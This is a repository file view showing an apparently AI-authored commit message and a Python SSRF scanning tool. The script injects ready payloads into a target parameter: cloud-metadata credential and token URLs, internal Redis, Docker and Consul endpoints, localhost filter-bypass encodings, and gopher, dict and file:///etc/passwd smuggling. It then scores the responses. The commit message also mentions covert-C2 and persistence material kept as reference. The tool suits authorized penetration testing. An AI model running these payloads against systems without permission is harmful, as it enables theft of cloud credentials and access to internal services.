Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

253 lines
9.3 KiB
Python

#!/usr/bin/env python3
"""Blind SSRF detection agent.
Tests web application endpoints for Server-Side Request Forgery (SSRF)
vulnerabilities by injecting payloads that trigger out-of-band callbacks.
Uses configurable payload lists targeting internal services, cloud metadata
endpoints, and external callback receivers.
AUTHORIZED TESTING ONLY: Only use against targets you have explicit
written permission to test. Unauthorized SSRF testing is illegal.
"""
import argparse
import json
import os
import sys
import time
import urllib.parse
from datetime import datetime, timezone
try:
import requests
except ImportError:
print("[!] 'requests' library required: pip install requests", file=sys.stderr)
sys.exit(1)
SSRF_PAYLOADS = {
"aws_metadata": [
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://169.254.169.254/latest/user-data",
],
"gcp_metadata": [
"http://metadata.google.internal/computeMetadata/v1/",
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
],
"azure_metadata": [
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01",
],
"internal_services": [
"http://127.0.0.1:80/",
"http://127.0.0.1:8080/",
"http://127.0.0.1:443/",
"http://127.0.0.1:3306/",
"http://127.0.0.1:6379/",
"http://127.0.0.1:9200/",
"http://localhost:8500/v1/agent/self",
"http://127.0.0.1:2375/containers/json",
],
"bypass_filters": [
"http://0x7f000001/",
"http://0177.0.0.1/",
"http://[::1]/",
"http://127.1/",
"http://127.0.0.1.nip.io/",
"http://2130706433/",
],
"protocol_smuggling": [
"gopher://127.0.0.1:6379/_INFO",
"dict://127.0.0.1:6379/INFO",
"file:///etc/passwd",
"file:///etc/hosts",
],
}
def test_ssrf_parameter(target_url, param_name, payload, method="GET",
headers=None, cookies=None, callback_url=None):
"""Test a single SSRF payload against a parameter."""
test_payload = callback_url or payload
if method.upper() == "GET":
parsed = urllib.parse.urlparse(target_url)
params = urllib.parse.parse_qs(parsed.query)
params[param_name] = [test_payload]
new_query = urllib.parse.urlencode(params, doseq=True)
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
try:
resp = requests.get(test_url, headers=headers, cookies=cookies,
timeout=10, allow_redirects=False)
except requests.RequestException as e:
return {"payload": payload, "error": str(e), "vulnerable": False}
else:
data = {param_name: test_payload}
try:
resp = requests.post(target_url, data=data, headers=headers,
cookies=cookies, timeout=10, allow_redirects=False)
except requests.RequestException as e:
return {"payload": payload, "error": str(e), "vulnerable": False}
indicators = analyze_response(resp, payload)
return {
"payload": payload,
"status_code": resp.status_code,
"response_length": len(resp.content),
"response_time": resp.elapsed.total_seconds(),
"indicators": indicators,
"vulnerable": len(indicators) > 0,
}
def analyze_response(resp, payload):
"""Analyze HTTP response for SSRF success indicators."""
indicators = []
body = resp.text.lower()
# Cloud metadata indicators
if "169.254.169.254" in payload:
if any(kw in body for kw in ["ami-id", "instance-id", "security-credentials",
"access-key", "computemetadata", "subscriptionid"]):
indicators.append("Cloud metadata content detected in response")
# Internal service indicators
if "127.0.0.1" in payload or "localhost" in payload:
if resp.status_code == 200 and len(resp.content) > 0:
if any(kw in body for kw in ["redis_version", "elasticsearch", "docker",
"consul", "apache", "nginx", "server:"]):
indicators.append("Internal service response detected")
# File content indicators
if "file://" in payload:
if "root:" in body or "localhost" in body:
indicators.append("Local file content detected in response")
# Time-based detection
if resp.elapsed.total_seconds() > 5:
indicators.append(f"Slow response ({resp.elapsed.total_seconds():.1f}s) - possible network timeout to internal host")
# Differential response analysis
if resp.status_code in (200, 301, 302) and len(resp.content) > 100:
indicators.append(f"Non-error response with content (status: {resp.status_code}, size: {len(resp.content)})")
return indicators
def run_ssrf_scan(target_url, param_name, method="GET", categories=None,
headers=None, cookies=None, callback_url=None):
"""Run SSRF tests across payload categories."""
if categories is None:
categories = list(SSRF_PAYLOADS.keys())
results = []
total = sum(len(SSRF_PAYLOADS.get(c, [])) for c in categories)
print(f"[*] Testing {total} SSRF payloads across {len(categories)} categories")
print(f"[*] Target: {target_url} (param: {param_name}, method: {method})")
for category in categories:
payloads = SSRF_PAYLOADS.get(category, [])
print(f"\n [{category}] Testing {len(payloads)} payloads...")
for payload in payloads:
result = test_ssrf_parameter(
target_url, param_name, payload, method, headers, cookies, callback_url
)
result["category"] = category
results.append(result)
if result["vulnerable"]:
print(f" [VULN] {payload}")
for ind in result["indicators"]:
print(f" -> {ind}")
time.sleep(0.5) # Rate limiting
return results
def format_summary(results, target_url):
"""Print scan summary."""
vulnerable = [r for r in results if r.get("vulnerable")]
print(f"\n{'='*60}")
print(f" SSRF Scan Report")
print(f"{'='*60}")
print(f" Target : {target_url}")
print(f" Payloads : {len(results)}")
print(f" Vulnerable : {len(vulnerable)}")
if vulnerable:
print(f"\n Confirmed/Suspected Vulnerabilities:")
for v in vulnerable:
print(f" [{v['category']:20s}] {v['payload']}")
for ind in v.get("indicators", []):
print(f" -> {ind}")
by_category = {}
for r in vulnerable:
by_category.setdefault(r["category"], []).append(r)
if by_category:
print(f"\n Findings by Category:")
for cat, items in by_category.items():
print(f" {cat:25s}: {len(items)} finding(s)")
def main():
parser = argparse.ArgumentParser(
description="Blind SSRF detection agent (authorized testing only)"
)
parser.add_argument("--target", required=True, help="Target URL with parameter to test")
parser.add_argument("--param", required=True, help="Parameter name to inject SSRF payloads into")
parser.add_argument("--method", choices=["GET", "POST"], default="GET")
parser.add_argument("--categories", nargs="+", choices=list(SSRF_PAYLOADS.keys()),
help="SSRF payload categories to test")
parser.add_argument("--callback", help="Out-of-band callback URL (e.g., Burp Collaborator)")
parser.add_argument("--header", nargs="+", help="Custom headers (key:value)")
parser.add_argument("--cookie", help="Cookie string")
parser.add_argument("--output", "-o", help="Output JSON report path")
parser.add_argument("--verbose", "-v", action="store_true")
args = parser.parse_args()
headers = {}
if args.header:
for h in args.header:
k, v = h.split(":", 1)
headers[k.strip()] = v.strip()
cookies = {}
if args.cookie:
for pair in args.cookie.split(";"):
if "=" in pair:
k, v = pair.strip().split("=", 1)
cookies[k] = v
results = run_ssrf_scan(
args.target, args.param, args.method, args.categories,
headers or None, cookies or None, args.callback
)
format_summary(results, args.target)
vulnerable = [r for r in results if r.get("vulnerable")]
report = {
"timestamp": datetime.now(timezone.utc).isoformat(),
"tool": "SSRF Scanner",
"target": args.target,
"parameter": args.param,
"total_payloads": len(results),
"vulnerable_count": len(vulnerable),
"findings": vulnerable,
"all_results": results if args.verbose else [],
"risk_level": (
"CRITICAL" if any(r["category"] in ("aws_metadata", "gcp_metadata", "azure_metadata")
for r in vulnerable)
else "HIGH" if vulnerable
else "LOW"
),
}
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"\n[+] Report saved to {args.output}")
elif args.verbose:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()